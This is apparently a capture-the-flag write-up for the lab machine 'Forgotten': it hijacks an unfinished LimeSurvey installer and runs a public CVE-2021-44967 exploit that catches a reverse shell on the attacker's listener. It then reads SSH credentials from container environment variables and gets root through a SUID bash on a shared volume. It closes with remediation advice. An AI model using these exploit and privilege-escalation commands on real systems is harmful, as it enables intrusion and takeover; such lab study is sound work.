Hacking Insights by Max Bautista

Forgotten writeup

Box name: Forgotten

Difficulty: Easy

OS: Linux

Overview: Forgotten is a Easy difficulty Linux machine from VulnLab that showcases several real-world techniques. By discovering an unfinished LimeSurvey installation the player will deploy a controlled MariaDB instance to complete the web application installation with, thereby gaining administrative access to the application. Players will then upload a malicious LimeSurvey plugin to achieve remote code execution inside of a Docker container. After enumerating the container players will discover an environment variable that will grant access to the host as well as the ability to enumerate sudo privileges within the docker container. With low privilege access to the host and root privilege to the container, players can then expect to chain the two together in order to escalate privileges by leveraging a setuid binary.

Link: https://app.hackthebox.com/machines/Forgotten?sort_by=created_at&sort_type=desc

Machine IP: 10.129.234.81

Ran rustscan against the machine.

rustscan -a 10.129.234.81 –ulimit 5000 -b 500 — -A -Pn

Navigated to the site but it 403s, forbidden.

Ran feroxbuster to directory bust to see if there’s anything additional.

feroxbuster -u http://10.129.234.81 -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,txt,bak,zip,json,xml,py,sh,config –force-recursion -t 50 -d 4 –filter-status 404,400

We got some 301s. Navigated to that and it looks like there is a LimeSurvey that was being installed but ‘forgotten’.

Going through the installer it asks us to set up a database.

We can set one up on our machine.

sudo docker pull mysql

sudo docker run -p 3306:3306 –rm –name tmp-mysql -e MYSQL_ROOT_PASSWORD=password mariadb:latest

Once thats set up we can have LimeSurvey to connect to us.

It then asks us to create a database and then brings us to Administrator settings.

Once finished it brings us to a login and we can log in with the credentials we have.

Upon logging in we get a version. 

Upon research this is vulnerable to https://nvd.nist.gov/vuln/detail/CVE-2021-44967 for RCE. Found this exploit code https://github.com/D3Ext/CVE-2021-44967. Read through it, this allows the RCE by the install plugins function, which could let a remote malicious user upload an arbitrary PHP code file.

python3 CVE-2021-44967.py –url http://10.129.234.81/survey –user admin –password password –lhost 10.10.16.27 –lport 1337 –verbose

Nc -lvnp 1337

Did some local enumeration. After a while it appears we are in a docker container. When running id we can see we are in the sudo group but we don’t have creds yet.

id

Eventually after running env we can find the credentials.

env

limesvc:5W5HN4K4GCXf9E

I was able to ssh in with these credentials.

ssh limesvc@10.129.234.81

We can also confirm root on the container. We need to stabilize the shell first and we can do so with:

script -qc /bin/bash /dev/null

Created a file to see if I can see it from the main file system and we can.

touch testhackedtest

find / -name testhackedtest -type f 2>/dev/null

Since we can and we have root we can move bash with a SUID bit and get root.

cp /bin/bash .

chmod +s bash

./bash -p

GG

Attack Chain

1 – Reconnaissance Ran RustScan and identified ports 22 (SSH) and 80 (HTTP). Browsed to port 80 and received a 403. Ran feroxbuster and found 301 redirects leading to an incomplete LimeSurvey installation at /survey.

rustscan -a 10.129.234.81 –ulimit 5000 -b 500 — -A -Pn feroxbuster -u http://10.129.234.81 -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,txt,bak,zip,json,xml,py,sh,config –force-recursion

2 – LimeSurvey installation hijack The LimeSurvey installer was left exposed and incomplete. Span up a local MariaDB Docker container and pointed the LimeSurvey installer at it to complete the setup. Set a known admin password during installation and logged in as administrator.

sudo docker run -p 3306:3306 –rm –name tmp-mysql -e MYSQL_ROOT_PASSWORD=password mariadb:latest

3 – Initial Access – LimeSurvey malicious plugin upload – CVE-2021-44967 Identified the LimeSurvey version as vulnerable to CVE-2021-44967, an authenticated RCE via malicious plugin upload. Used a public exploit to upload a PHP webshell through the plugin installer and caught a reverse shell inside a Docker container.

python3 CVE-2021-44967.py –url http://10.129.234.81/survey –user admin –password password –lhost 10.10.16.27 –lport 1337 –verbose

4 – Container enumeration and SSH credential discovery Confirmed the shell was inside a Docker container. Found that the current user was in the sudo group but had no password yet. Ran env and found plaintext SSH credentials in the container’s environment variables. SSH’d into the host as limesvc and retrieved user.txt.

env

Credentials recovered: limesvc:5W5HN4K4GCXf9E

5 – Privilege Escalation – SUID bash via shared container volume Enumerated the container and found the container ran as root. Found a shared volume between the container and the host filesystem. Created a test file in the container and confirmed it was visible on the host. Copied bash into the shared directory and set the SUID bit from the container. Executed the SUID bash from the host as limesvc to obtain a root shell. Retrieved root.txt.

cp /bin/bash . chmod +s bash ./bash -p

---

Key Takeaways

1. Exposed and incomplete web application installer – The LimeSurvey installer was left accessible on a public-facing web server, allowing any visitor to complete the installation with attacker-controlled database credentials and set their own admin password. Web application installers must be removed or restricted immediately after setup and must never be left accessible on production systems.
   
2. LimeSurvey authenticated plugin upload RCE – CVE-2021-44967 (CVSS 8.8 High) – The LimeSurvey version was vulnerable to remote code execution via a malicious plugin upload through the admin panel. Survey and CMS platforms must be kept fully patched and plugin upload functionality must be restricted to trusted administrators only.
   
3. Plaintext credentials in Docker container environment variables – The limesvc SSH credentials were stored in the container environment variables, readable by any process running inside the container. Container secrets must never be passed as environment variables and must be managed through Docker Secrets or a dedicated secrets manager with runtime injection.
   
4. Container running as root with a shared host volume – The LimeSurvey container ran as root and had a volume mounted to the host filesystem, allowing a SUID binary to be placed in a host-accessible directory from within the container. Containers must never run as root and must use dedicated non-privileged users. Shared volumes between containers and the host must be treated as a critical trust boundary and must restrict write access.
   
5. Shared volume enabling container-to-host privilege escalation – Write access to a shared volume from a root container allowed placing a SUID bash binary accessible to a low-privilege host user, bypassing all host-level privilege controls. Volume mounts must enforce noexec and nosuid mount options where the application does not require script or binary execution from the mounted path.
   

---

Remediation

[Immediate] Remove or restrict the LimeSurvey installer Delete the installer directory or restrict access to it via web server configuration immediately. Incomplete installations must be detected and cleaned up as part of the deployment process. Implement a post-deployment checklist that verifies all installer components are removed before a service is made externally accessible.

[Immediate] Patch LimeSurvey to remediate CVE-2021-44967 (CVSS 8.8 High) Update LimeSurvey to the latest patched version. Restrict the admin panel to authorized IP ranges and require MFA on the administrator account. Disable or sandbox the plugin upload functionality unless explicitly required and log all plugin installation events.

[Immediate] Remove credentials from container environment variables Audit all running containers for credentials stored in environment variables and migrate them to Docker Secrets or a secrets management solution. Rotate the limesvc SSH credentials immediately and audit all other accounts for reuse of the same password.

[Immediate] Run containers as non-root users Configure the LimeSurvey container to run under a dedicated non-root user by adding a USER directive to the Dockerfile. Apply this to all containers across the environment. Run a full audit of all running containers for root or privileged users and remediate any findings.

[Immediate] Apply nosuid and noexec to all shared host volume mounts Add the nosuid and noexec mount options to all Docker volume mounts that do not require binary execution. Audit all container volume configurations for shared paths that are writable from within the container and restrict permissions to the minimum required.

[Long-term] Implement a container security hardening baseline Define a hardening standard for all Docker deployments covering non-root execution, secrets management, volume mount options, network isolation, and application lifecycle management including installer cleanup. Include container escape techniques and shared volume abuse in the regular penetration testing scope.